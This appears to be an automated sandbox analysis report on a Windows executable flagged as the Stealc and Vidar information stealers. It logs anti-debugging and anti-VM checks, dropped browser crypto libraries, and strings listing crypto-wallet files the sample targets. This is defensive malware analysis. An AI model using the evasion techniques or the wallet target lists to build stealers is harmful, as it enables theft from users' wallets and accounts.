Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDF82 second address: 5BDF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDF88 second address: 5BDFA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1F34B447F3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDFA1 second address: 5BDFA6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE858 second address: 5BE85E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE85E second address: 5BE86B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F1F34FC7056h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2B3F second address: 5C2B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2B45 second address: 5C2B57 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1F34FC7056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2B57 second address: 5C2B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2B5B second address: 5C2B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC705Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F1F34FC7070h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F1F34FC7068h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2B8A second address: 5C2B9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447EDh 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C51AC second address: 5C51C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jl 00007F1F34FC7063h 0x0000000f jmp 00007F1F34FC705Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C51C8 second address: 5C51CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFB4A second address: 4CFB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3F17 second address: 5D3F3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447EBh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1F34B447F8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3F3E second address: 5D3F44 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3F44 second address: 5D3F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnc 00007F1F34B447F8h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3F6A second address: 5D3F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F1F34FC706Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E08E9 second address: 5E08ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E08ED second address: 5E08F6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E08F6 second address: 5E08FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E26A7 second address: 5E26CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F1F34FC705Ah 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F1F34FC705Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2304 second address: 5F230C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F11DE second address: 5F11E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F11E4 second address: 5F1206 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1F34B447E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F1F34B447F5h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1206 second address: 5F120C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1BB6 second address: 5F1BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1BBF second address: 5F1BF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F1F34FC7056h 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F1F34FC705Ah 0x00000010 jne 00007F1F34FC7056h 0x00000016 pop eax 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F1F34FC7069h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2028 second address: 5F2040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jg 00007F1F34B447E6h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F62D4 second address: 5F62D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F636A second address: 5F638A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1F34B447E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1F34B447F3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F65DA second address: 5F660E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 nop 0x00000006 pushad 0x00000007 mov dword ptr [ebp+122D1BE3h], eax 0x0000000d mov esi, dword ptr [ebp+122D3335h] 0x00000013 popad 0x00000014 mov dword ptr [ebp+122D2C92h], ecx 0x0000001a push 00000004h 0x0000001c mov edx, 55E521C5h 0x00000021 push 41BD26F0h 0x00000026 js 00007F1F34FC7062h 0x0000002c jng 00007F1F34FC705Ch 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0305 second address: 4FA0309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0309 second address: 4FA0326 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC7069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA0326 second address: 4FA032B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA032B second address: 4FA035B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1F34FC705Dh 0x0000000a sub ah, 00000026h 0x0000000d jmp 00007F1F34FC7061h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA035B second address: 4FA0362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ch, dl 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA03C3 second address: 4FA03D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F34FC705Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA03D2 second address: 4FA03E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx ecx, bx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 36378F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 363706 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 51176E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5387F3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 599C3D instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0012D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001339B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_001339B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0012E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001343F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001343F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0012BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0012F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00121710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00121710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00134050 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00134050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0012EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001333C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001333C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0012DC50

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00137970 GetSystemInfo,wsprintfA,

0_2_00137970

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1894523709.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware$
Source: file.exe, 00000000.00000002.1894523709.0000000001224000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8%
Source: file.exe, 00000000.00000002.1894523709.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58208
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58211
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58230
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59397
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58262
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58222

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C605FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C605FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00124610 VirtualProtect ?,00000004,00000100,00000000

0_2_00124610

Source: C:\Users\user\Desktop\file.exe

0_2_00139270

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00139160 mov eax, dword ptr fs:[00000030h]

0_2_00139160

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00125000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00125000

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C5DB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C5DB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3492, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001390A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_001390A0

Source: file.exe, file.exe, 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: *JProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DB341 cpuid

0_2_6C5DB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00137630

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001363C0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_001363C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001372F0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_001372F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001374D0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_001374D0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1894523709.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3492, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3492, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
